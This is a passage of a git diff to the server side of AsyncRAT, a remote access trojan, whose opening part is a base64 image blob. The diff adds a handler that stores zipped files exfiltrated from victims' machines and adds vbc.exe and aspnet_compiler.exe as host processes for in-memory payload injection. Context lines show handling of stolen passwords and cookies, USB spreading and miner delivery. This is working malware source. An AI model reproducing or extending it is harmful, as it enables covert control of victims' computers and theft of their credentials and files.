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 + gg== + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Forms/FormSendFileToMemory.Designer.cs b/AsyncRAT-C#/Server/Forms/FormSendFileToMemory.Designer.cs index 6218e57..501584b 100644 --- a/AsyncRAT-C#/Server/Forms/FormSendFileToMemory.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormSendFileToMemory.Designer.cs @@ -102,9 +102,11 @@ this.comboBox2.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; this.comboBox2.FormattingEnabled = true; this.comboBox2.Items.AddRange(new object[] { + "aspnet_compiler.exe", "RegAsm.exe", "MSBuild.exe", - "RegSvcs.exe"}); + "RegSvcs.exe", + "vbc.exe"}); this.comboBox2.Location = new System.Drawing.Point(112, 139); this.comboBox2.Name = "comboBox2"; this.comboBox2.Size = new System.Drawing.Size(201, 28); @@ -139,9 +141,9 @@ this.statusStrip1.ImageScalingSize = new System.Drawing.Size(24, 24); this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.toolStripStatusLabel1}); - this.statusStrip1.Location = new System.Drawing.Point(0, 276); + this.statusStrip1.Location = new System.Drawing.Point(0, 274); this.statusStrip1.Name = "statusStrip1"; - this.statusStrip1.Size = new System.Drawing.Size(351, 30); + this.statusStrip1.Size = new System.Drawing.Size(351, 32); this.statusStrip1.TabIndex = 2; this.statusStrip1.Text = "statusStrip1"; // diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleListView.cs b/AsyncRAT-C#/Server/Handle Packet/HandleListView.cs index 7e90532..a20e76e 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleListView.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleListView.cs @@ -25,7 +25,7 @@ namespace Server.Handle_Packet client.Disconnected(); return; } - else if (Settings.Blocked.Contains(client.TcpClient.RemoteEndPoint.ToString().Split(':')[0])) + else if (Settings.Blocked.Contains(client.Ip)) { client.Disconnected(); return; @@ -38,7 +38,7 @@ namespace Server.Handle_Packet client.LV = new ListViewItem { Tag = client, - Text = string.Format("{0}:{1}", client.TcpClient.RemoteEndPoint.ToString().Split(':')[0], client.TcpClient.LocalEndPoint.ToString().Split(':')[1]), + Text = string.Format("{0}:{1}", client.Ip, client.TcpClient.LocalEndPoint.ToString().Split(':')[1]), }; string[] ipinf; try @@ -89,16 +89,17 @@ namespace Server.Handle_Packet { Program.form1.listView1.Items.Add(client.LV); Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); + Program.form1.lv_act.Width = 500; } if (Properties.Settings.Default.Notification == true) { Program.form1.notifyIcon1.BalloonTipText = $@"Connected -{client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} : {client.TcpClient.LocalEndPoint.ToString().Split(':')[1]}"; +{client.Ip} : {client.TcpClient.LocalEndPoint.ToString().Split(':')[1]}"; Program.form1.notifyIcon1.ShowBalloonTip(100); } - new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} connected", Color.Green); + new HandleLogs().Addmsg($"Client {client.Ip} connected", Color.Green); })); } catch { } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleRecovery.cs b/AsyncRAT-C#/Server/Handle Packet/HandleRecovery.cs index 586b74b..2abb9e2 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleRecovery.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleRecovery.cs @@ -17,7 +17,7 @@ namespace Server.Handle_Packet { try { - string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + unpack_msgpack.ForcePathObject("Hwid").AsString + "\\Recovery"); + string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", unpack_msgpack.ForcePathObject("Hwid").AsString, "Recovery"); string pass = unpack_msgpack.ForcePathObject("Password").AsString; string cookies = unpack_msgpack.ForcePathObject("Cookies").AsString; if (!string.IsNullOrWhiteSpace(pass) || !string.IsNullOrWhiteSpace(cookies)) @@ -26,11 +26,11 @@ namespace Server.Handle_Packet Directory.CreateDirectory(fullPath); File.WriteAllText(fullPath + "\\Password_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", pass.Replace("\n", Environment.NewLine)); File.WriteAllText(fullPath + "\\Cookies_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", cookies); - new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully @ ClientsFolder \\ {unpack_msgpack.ForcePathObject("Hwid").AsString} \\ Recovery", Color.Purple); + new HandleLogs().Addmsg($"Client {client.Ip} recovered passwords successfully @ ClientsFolder \\ {unpack_msgpack.ForcePathObject("Hwid").AsString} \\ Recovery", Color.Purple); } else { - new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} has no passwords", Color.MediumPurple); + new HandleLogs().Addmsg($"Client {client.Ip} has no passwords", Color.MediumPurple); } client?.Disconnected(); } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleReportWindow.cs b/AsyncRAT-C#/Server/Handle Packet/HandleReportWindow.cs index 7ea4a1e..f2f1476 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleReportWindow.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleReportWindow.cs @@ -13,10 +13,10 @@ namespace Server.Handle_Packet { public HandleReportWindow(Clients client, string title) { - new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} Opened [{title}]", Color.Blue); + new HandleLogs().Addmsg($"Client {client.Ip} Opened [{title}]", Color.Blue); if (Properties.Settings.Default.Notification == true) { - Program.form1.notifyIcon1.BalloonTipText = $"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} Opened [{title}]"; + Program.form1.notifyIcon1.BalloonTipText = $"Client {client.Ip} Opened [{title}]"; Program.form1.notifyIcon1.ShowBalloonTip(100); } } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleThumbnails.cs b/AsyncRAT-C#/Server/Handle Packet/HandleThumbnails.cs index 22c17b7..711571d 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleThumbnails.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleThumbnails.cs @@ -16,7 +16,7 @@ namespace Server.Handle_Packet if (client.LV2 == null) { client.LV2 = new ListViewItem(); - client.LV2.Text = string.Format("{0}:{1}", client.TcpClient.RemoteEndPoint.ToString().Split(':')[0], client.TcpClient.LocalEndPoint.ToString().Split(':')[1]); + client.LV2.Text = string.Format("{0}:{1}", client.Ip, client.TcpClient.LocalEndPoint.ToString().Split(':')[1]); client.LV2.ToolTipText = client.ID; client.LV2.Tag = client; diff --git a/AsyncRAT-C#/Server/Handle Packet/HandlerFileSearcher.cs b/AsyncRAT-C#/Server/Handle Packet/HandlerFileSearcher.cs new file mode 100644 index 0000000..3ddfba1 --- /dev/null +++ b/AsyncRAT-C#/Server/Handle Packet/HandlerFileSearcher.cs @@ -0,0 +1,37 @@ +using Server.Connection; +using Server.MessagePack; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace Server.Handle_Packet +{ + public class HandlerFileSearcher + { + public async void SaveZipFile(Clients client, MsgPack unpack_msgpack) + { + try + { + string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", unpack_msgpack.ForcePathObject("Hwid").AsString, "FileSearcher"); + if (!Directory.Exists(fullPath)) + Directory.CreateDirectory(fullPath); + await Task.Run(() => + { + byte[] zipFile = unpack_msgpack.ForcePathObject("ZipFile").GetAsBytes(); + File.WriteAllBytes(fullPath + "//" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".zip", zipFile); + }); + new HandleLogs().Addmsg($"Client {client.Ip} file searcher was successfully @ ClientsFolder/{unpack_msgpack.ForcePathObject("Hwid").AsString}/FileSearcher", Color.Purple); + client.Disconnected(); + } + catch (Exception ex) + { + new HandleLogs().Addmsg($"FileSearcher {ex.Message}", Color.Red); + } + } + } +} diff --git a/AsyncRAT-C#/Server/Handle Packet/Packet.cs b/AsyncRAT-C#/Server/Handle Packet/Packet.cs index b27b182..bab93e6 100644 --- a/AsyncRAT-C#/Server/Handle Packet/Packet.cs +++ b/AsyncRAT-C#/Server/Handle Packet/Packet.cs @@ -20,7 +20,6 @@ namespace Server.Handle_Packet { MsgPack unpack_msgpack = new MsgPack(); unpack_msgpack.DecodeFromBytes(data); - string ip = client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]; Program.form1.Invoke((MethodInvoker)(() => { switch (unpack_msgpack.ForcePathObject("Packet").AsString) @@ -47,7 +46,7 @@ namespace Server.Handle_Packet case "Logs": { - new HandleLogs().Addmsg($"Client {ip} {unpack_msgpack.ForcePathObject("Message").AsString}", Color.Black); + new HandleLogs().Addmsg($"Client {client.Ip} {unpack_msgpack.ForcePathObject("Message").AsString}", Color.Black); break; } @@ -60,13 +59,13 @@ namespace Server.Handle_Packet case "BotKiller": { - new HandleLogs().Addmsg($"Client {ip} found {unpack_msgpack.ForcePathObject("Count").AsString} malwares and killed them successfully", Color.Orange); + new HandleLogs().Addmsg($"Client {client.Ip} found {unpack_msgpack.ForcePathObject("Count").AsString} malwares and killed them successfully", Color.Orange); break; } case "usb": { - new HandleLogs().Addmsg($"Client {ip} found {unpack_msgpack.ForcePathObject("Count").AsString} USB drivers and spreaded them successfully", Color.Purple); + new HandleLogs().Addmsg($"Client {client.Ip} found {unpack_msgpack.ForcePathObject("Count").AsString} USB drivers and spreaded them successfully", Color.Purple); break; } @@ -84,7 +83,7 @@ namespace Server.Handle_Packet case "Error": { - new HandleLogs().Addmsg($"Client {ip} error: {unpack_msgpack.ForcePathObject("Error").AsString}", Color.Red); + new HandleLogs().Addmsg($"Client {client.Ip} error: {unpack_msgpack.ForcePathObject("Error").AsString}", Color.Red); lock (Settings.LockListviewClients) { client.LV.ForeColor = Color.Empty; @@ -175,7 +174,7 @@ namespace Server.Handle_Packet case "sendPlugin": { - new HandleLogs().Addmsg($"Sending the plugin to client {ip} for the first time please wait..", Color.Blue); + new HandleLogs().Addmsg($"Sending the plugin to client {client.Ip} for the first time please wait..", Color.Blue); ThreadPool.QueueUserWorkItem(delegate { client.SendPlugin(unpack_msgpack.ForcePathObject("Hashes").AsString); }); @@ -187,6 +186,12 @@ namespace Server.Handle_Packet new HandleMiner().SendMiner(client); break; } + + case "fileSearcher": + { + new HandlerFileSearcher().SaveZipFile(client, unpack_msgpack); + break; + } } })); } diff --git a/AsyncRAT-C#/Server/Program.cs b/AsyncRAT-C#/Server/Program.cs index fe45bf3..8653427 100644 --- a/AsyncRAT-C#/Server/Program.cs +++ b/AsyncRAT-C#/Server/Program.cs @@ -1,5 +1,6 @@ using System; using System.Collections.Generic; +using System.IO; using System.Linq; using System.Threading.Tasks; using System.Windows.Forms; @@ -24,6 +25,13 @@ namespace Server { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); + try + { + string batPath = Path.Combine(Application.StartupPath, "Fixer.bat"); + if (!File.Exists(batPath)) + File.WriteAllText(batPath, Properties.Resources.Fixer); + } + catch { } form1 = new Form1(); Application.Run(form1); } diff --git a/AsyncRAT-C#/Server/Properties/AssemblyInfo.cs b/AsyncRAT-C#/Server/Properties/AssemblyInfo.cs index e969f80..f70bd39 100644 --- a/AsyncRAT-C#/Server/Properties/AssemblyInfo.cs +++ b/AsyncRAT-C#/Server/Properties/AssemblyInfo.cs @@ -20,7 +20,6 @@ using System.Runtime.InteropServices; [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM -//[assembly: Guid("7767c300-5fd5-4a5d-9d4c-59559cce48a3")] // Version information for an assembly consists of the following four values: // diff --git a/AsyncRAT-C#/Server/Properties/Resources.Designer.cs b/AsyncRAT-C#/Server/Properties/Resources.Designer.cs index ff4cb87..8588856 100644 --- a/AsyncRAT-C#/Server/Properties/Resources.Designer.cs +++ b/AsyncRAT-C#/Server/Properties/Resources.Designer.cs @@ -200,6 +200,22 @@ namespace Server.Properties { } } + /// + /// Looks up a localized string similar to @echo off + ///title AsyncRAT - Fixer + ///echo You this if AsyncRAT won't open at all + ///echo YOU NEED TO RUN THIS AS ADMIN + /// + ///pause + ///lodctr /r + ///pause. + /// + internal static string Fixer { + get { + return ResourceManager.GetString("Fixer", resourceCulture); + } + } + /// /// Looks up a localized resource of type System.Drawing.Bitmap. /// diff --git a/AsyncRAT-C#/Server/Properties/Resources.resx b/AsyncRAT-C#/Server/Properties/Resources.resx index 81b3dd4..bbac5ea 100644 --- a/AsyncRAT-C#/Server/Properties/Resources.resx +++ b/AsyncRAT-C#/Server/Properties/Resources.resx @@ -259,4 +259,7 @@ ..\Resources\iconfinder_32_171485 (1).png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\Fixer.bat;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Resources/Fixer.bat b/AsyncRAT-C#/Server/Resources/Fixer.bat new file mode 100644 index 0000000..e817adf --- /dev/null +++ b/AsyncRAT-C#/Server/Resources/Fixer.bat @@ -0,0 +1,8 @@ +@echo off +title AsyncRAT - Fixer +echo Use this if AsyncRAT won't open at all +echo YOU NEED TO RUN THIS AS ADMIN + +pause +lodctr /r +pause \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Server.csproj b/AsyncRAT-C#/Server/Server.csproj index 4347508..95a8611 100644 --- a/AsyncRAT-C#/Server/Server.csproj +++ b/AsyncRAT-C#/Server/Server.csproj @@ -1,6 +1,6 @@  - + Debug @@ -46,15 +46,18 @@ app.manifest - - ..\packages\BouncyCastle.1.8.5\lib\BouncyCastle.Crypto.dll + + ..\packages\BouncyCastle.1.8.6.1\lib\BouncyCastle.Crypto.dll False Resources\cGeoIp.dll - - ..\packages\dnlib.3.2.0\lib\net45\dnlib.dll + + ..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll + + + ..\packages\dnlib.3.3.2\lib\net45\dnlib.dll ..\packages\FCTB.2.16.24\lib\FastColoredTextBox.dll @@ -78,8 +81,8 @@ - - ..\packages\Vestris.ResourceLib.1.6.422\lib\Vestris.ResourceLib.dll + + ..\packages\Vestris.ResourceLib.2.1.0\lib\net45\Vestris.ResourceLib.dll @@ -141,6 +144,12 @@ Form1.cs + + Form + + + FormFileSearcher.cs + Form @@ -212,6 +221,7 @@ + @@ -292,6 +302,9 @@ Form1.cs + + FormFileSearcher.cs + FormKeylogger.cs @@ -331,7 +344,6 @@ FormSendFileToMemory.cs - SettingsSingleFileGenerator @@ -342,6 +354,7 @@ Settings.settings True + @@ -349,7 +362,6 @@ - @@ -399,12 +411,12 @@ + This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. - - + + - \ No newline at end of file diff --git 